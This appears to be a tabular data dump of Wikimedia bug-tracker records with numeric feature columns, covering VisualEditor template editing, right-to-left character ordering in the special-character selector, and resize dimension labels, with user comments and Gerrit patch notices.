https://bugzilla.wikimedia.org/show_bug.cgi?id=54803",Low,25.0,1379590260,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-dxrqwnd4epgrwlipk5o2,task_description,open,True,c1,3,False,False,,11,,0.0,0.0,0.0,4.0,1.0,3.0,1.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,5.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.8076923076923075,0.6153846153846154,"Although it can't be used in articles, it is widely used elsewhere, including userpages.
If you try and VEdit URL you'll notice that this reflects in reference numbering being incorrect, since the ones in the divbox will be ignored.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
246683,VisualEditor: Enwiki's {{divstyleamber}} (used in a parameter) turns into mw:ExpandedAttrs in Parsoid which VE doesn't handle yet.,"Another issue:
<<Open a page with {{divbox|amber|test|Test content.}} Click on the divbox, open the template dialogue. Click on ""apply changes"". Divbox disappears.>>

If you want to test this, VEdit https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&oldid=573628652 .",,,1379591181,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-dxrqwnd4epgrwlipk5o2,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,10.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.52,0.74,"Another issue:
<<Open a page with {{divbox|amber|test|Test content.}} Click on the divbox, open the template dialogue. Click on ""apply changes"". Divbox disappears.>>

If you want to test this, VEdit URL ."
246677,VisualEditor: Enwiki's {{divstyleamber}} (used in a parameter) turns into mw:ExpandedAttrs in Parsoid which VE doesn't handle yet.,"My previous comment was related to a page containing <div style=""{{divstyleamber}}"">Content.</div>, which can not be edited.",,,1379591096,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-dxrqwnd4epgrwlipk5o2,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,5.45,1.0,"My previous comment was related to a page containing <div style=""{{divstyleamber}}"">Content.</div>, which can not be edited."
56310,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Incorrect reversed display of non Latin characters

Please see the attached image and Bugs #54308 & #54309.

By this time I resigned to utilize the advanced toolbar and after making an attempt, I feel very cynical because this effort is totally useless. There is a lot to be said for programmers and developers learning to proofread a chapter or so of text, to see how their ideas are working in the real world.

In the first place, It takes several steps to hide the header to gain additional viewing space or access various features. 

Finally, The non-Latin characters, like Hebrew and Arabic were inserted from left to right. For those who don't understand, that's the equivalent of displaying Latin characters from right to left, as in: . . . . L K J I H G F E D C B A

In view of my previous posts, please consider correcting this ASAP.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11606}",Low,25.0,1379579460,1520505237.0,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-yj6unjc6sotp4kv2mflx,task_description,resolved,True,c1,3,False,False,False,11,,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,6.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,1.0,2.3333333333333335,9.333333333333334,0.0,2.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,1.6666666666666667,14.666666666666666,0.6666666666666666,2.3333333333333335,5.0,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,2.3333333333333335,9.333333333333334,4.666666666666667,0.0,0.0,0.0,2.3333333333333335,0.0,0.6666666666666666,1.0,0.0,2.3333333333333335,0.0,0.0,0.0,3.8115942028985508,0.7681159420289855,"Incorrect reversed display of non Latin characters

Please see the attached image and Bugs #54308 & #54309.

By this time I resigned to utilize the advanced toolbar and after making an attempt, I feel very cynical because this effort is totally useless. There is a lot to be said for programmers and developers learning to proofread a chapter or so of text, to see how their ideas are working in the real world.

In the first place, It takes several steps to hide the header to gain additional viewing space or access various features. 

Finally, The non-Latin characters, like Hebrew and Arabic were inserted from left to right. For those who don't understand, that's the equivalent of displaying Latin characters from right to left, as in: . . . . L K J I H G F E D C B A

In view of my previous posts, please consider correcting this ASAP.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11606}"
1025949,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 414961 **merged** by jenkins-bot:
[mediawiki/extensions/WikiEditor@master] Use display:inline-block for special character buttons

[[https://gerrit.wikimedia.org/r/414961]]",,,1520269897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,244,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.7222222222222222,"Change 414961 **merged** by jenkins-bot:
[mediawiki/extensions/WikiEditor@master] Use display:inline-block for special character buttons

[[GERRIT_URL]]"
1023626,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415286 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] fetchSpecialCharList: Set directionality

[[https://gerrit.wikimedia.org/r/415286]]",,,1519948593,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.433333333333334,0.7,"Change 415286 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] fetchSpecialCharList: Set directionality

[[GERRIT_URL]]"
1023389,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415374 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (f5c88eb30)

[[https://gerrit.wikimedia.org/r/415374]]",,,1519932738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.857142857142857,0.7714285714285715,"Change 415374 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (f5c88eb30)

[[GERRIT_URL]]"
1022553,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415374 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (bdb1a680a)

[[https://gerrit.wikimedia.org/r/415374]]",,,1519848137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,4.358974358974359,0.8205128205128205,"Change 415374 had a related patch set uploaded (by Jforrester; owner: Jforrester):
[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (bdb1a680a)

[[GERRIT_URL]]"
1022522,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415281 **merged** by jenkins-bot:
[VisualEditor/VisualEditor@master] SpecialCharacterPage: Allow setting lang/dir via special attributes property

[[https://gerrit.wikimedia.org/r/415281]]",,,1519846076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,4.457142857142857,0.7428571428571429,"Change 415281 **merged** by jenkins-bot:
[VisualEditor/VisualEditor@master] SpecialCharacterPage: Allow setting lang/dir via special attributes property

[[GERRIT_URL]]"
1022185,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415286 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] fetchSpecialCharList: Set directionality

[[https://gerrit.wikimedia.org/r/415286]]",,,1519825824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,4.823529411764706,0.7941176470588235,"Change 415286 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] fetchSpecialCharList: Set directionality

[[GERRIT_URL]]"
1022180,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 415281 had a related patch set uploaded (by Esanders; owner: Esanders):
[VisualEditor/VisualEditor@master] SpecialCharacterPage: Allow setting lang/dir via special attributes property

[[https://gerrit.wikimedia.org/r/415281]]",,,1519825655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,4.794871794871795,0.8205128205128205,"Change 415281 had a related patch set uploaded (by Esanders; owner: Esanders):
[VisualEditor/VisualEditor@master] SpecialCharacterPage: Allow setting lang/dir via special attributes property

[[GERRIT_URL]]"
1020929,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"I set the CSS float to right for RTL languages.

If this is done for WikiEditor, then it must also be updated in the VE special character editor. There is will be easier: the lang and dir attributes must simply set on the `<div>` that wraps all the characters `<span>` tags.",,,1519718525,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,16.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.824561403508772,0.7894736842105263,"I set the CSS float to right for RTL languages.

If this is done for WikiEditor, then it must also be updated in the VE special character editor. There is will be easier: the lang and dir attributes must simply set on the CODE that wraps all the characters CODE tags."
1020926,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Change 414961 had a related patch set uploaded (by Amire80; owner: Amire80):
[mediawiki/extensions/WikiEditor@master] Order right-to-left alphabets from right-to-left in the special character selector

[[https://gerrit.wikimedia.org/r/414961]]",,,1519718250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,243,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,4.0625,0.75,"Change 414961 had a related patch set uploaded (by Amire80; owner: Amire80):
[mediawiki/extensions/WikiEditor@master] Order right-to-left alphabets from right-to-left in the special character selector

[[GERRIT_URL]]"
246469,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"**yesod22** wrote:

Hi. The only input I can give is that as a bi-lingual english hebrew speaker being forced with the option of having english displayed RTL or hebrew displayed LTR is CERTAINLY not desired. I'd much prefer having each language displayed in it's natural order - as it's supposed to be.

The idea of displaying Hebrew or Arabic from LTR because that's the expectation of an english speaker reminds me of a joke by Louis CK on how the pilgrims named the natives ""Indians"" despite the fact that they had nothing to do with India :-) (see youtube). A language should be displayed in it's order - not in the order of what a non-native speaker would like it to be :-)

blessings, Daniel",,,1380213955,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,12,,1.0,0.0,0.0,1.5,1.0,6.0,0.5,0.5,0.0,0.0,3.0,0.5,0.0,0.5,0.0,1.5,0.5,3.5,13.0,0.5,2.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.5,4.0,1.0,2.5,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,11.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.5,9.5,3.0,1.0,9.0,0.0,1.5,0.0,0.0,5.0,0.5,0.0,0.0,4.5,13.0,6.5,0.0,1.5,0.0,4.5,0.0,1.5,3.0,0.5,1.5,0.0,0.0,0.0,3.8142105263157893,0.7418421052631579,"**yesod22** wrote:

Hi. The only input I can give is that as a bi-lingual english hebrew speaker being forced with the option of having english displayed RTL or hebrew displayed LTR is CERTAINLY not desired. I'd much prefer having each language displayed in it's natural order - as it's supposed to be.

The idea of displaying Hebrew or Arabic from LTR because that's the expectation of an english speaker reminds me of a joke by Louis CK on how the pilgrims named the natives ""Indians"" despite the fact that they had nothing to do with India :-) (see youtube). A language should be displayed in it's order - not in the order of what a non-native speaker would like it to be :-)

blessings, Daniel"
246461,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Michael M., Please point me to the page on en.Wikipedia where RTL characters show up correctly. I just implemented the WikiEditor on en. Wikipedia and RTL characters were displayed in LTR order. Then, I am curious as to how do you know what is the expectation of the users???",,,1379680638,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,20.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,7.0,14.0,17.0,5.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,3.847457627118644,0.7288135593220338,"Michael M., Please point me to the page on en.Wikipedia where RTL characters show up correctly. I just implemented the WikiEditor on en. Wikipedia and RTL characters were displayed in LTR order. Then, I am curious as to how do you know what is the expectation of the users???"
246457,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Reopening: I looked at en.wikipedia and de.wikipedia. Both have a set of special characters *below* the editbox, which isn't part of MediaWiki, but developed by the communities. In both cases the characters of RTL languages are shown from right to left, so even if this behavior of WikiEditor is intended (which I doubt), it is wrong based on the expectation of its users.",,,1379664481,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,11.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,4.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,4.078947368421052,0.7631578947368421,"Reopening: I looked at en.wikipedia and de.wikipedia. Both have a set of special characters *below* the editbox, which isn't part of MediaWiki, but developed by the communities. In both cases the characters of RTL languages are shown from right to left, so even if this behavior of WikiEditor is intended (which I doubt), it is wrong based on the expectation of its users."
246451,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Andre, the user's language settings should not affect the character sets. They should be displayed in their natural order regardless of the user's language preferences.",,,1379623385,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,0.7666666666666667,"Andre, the user's language settings should not affect the character sets. They should be displayed in their natural order regardless of the user's language preferences."
246446,RTL language characters are displayed in LTR order in LTR languages (and vice versa),"Confirming what you see. Hebrew letters Alef and Bet are on the left. 

I am pretty sure that this is intended and that it depends on your personal language settings in https://en.wikisource.org/wiki/Special:Preferences#mw-prefsection-personal-i18n because depending on your ""primary"" language you are used to either expect the first letter on the left (LTR) or on the right (RTL).

It's the same the other way round: 
Looking at the Cyrillic character section with the interface language set to Hebrew (by simply adding &uselang=he to the URL), I also get the Russian alphabet from right to left, while Russian is a left to right language.",,,1379586269,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yj6unjc6sotp4kv2mflx,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,1.0,0.0,6.5,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,4.5,12.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,1.0,1.5,2.0,2.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,10.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,7.5,3.0,11.0,2.5,2.5,8.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,12.5,6.5,0.0,1.0,0.0,5.5,0.0,0.5,1.0,0.0,2.5,0.0,0.0,0.0,3.7792173453199362,0.7398202009518773,"Confirming what you see. Hebrew letters Alef and Bet are on the left. 

I am pretty sure that this is intended and that it depends on your personal language settings in URL because depending on your ""primary"" language you are used to either expect the first letter on the left (LTR) or on the right (RTL).

It's the same the other way round: 
Looking at the Cyrillic character section with the interface language set to Hebrew (by simply adding &uselang=he to the URL), I also get the Russian alphabet from right to left, while Russian is a left to right language."
56297,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"In a status bar/next to the cursor/on the image

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1379549160,1382026579.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-db7owolkladsvbupsv7m,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7419354838709675,0.6451612903225806,"In a status bar/next to the cursor/on the image

--------------------------
**Version**: unspecified
**Severity**: enhancement"
245576,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"Change 85970 merged by jenkins-bot:
Show a label with the current dimensions while resizing

https://gerrit.wikimedia.org/r/85970",,,1382007456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-db7owolkladsvbupsv7m,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.55,1.0,"Change 85970 merged by jenkins-bot:
Show a label with the current dimensions while resizing

GERRIT_URL"
245570,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"Change 85970 had a related patch set uploaded by Esanders:
Show a label with the current dimensions while resizing

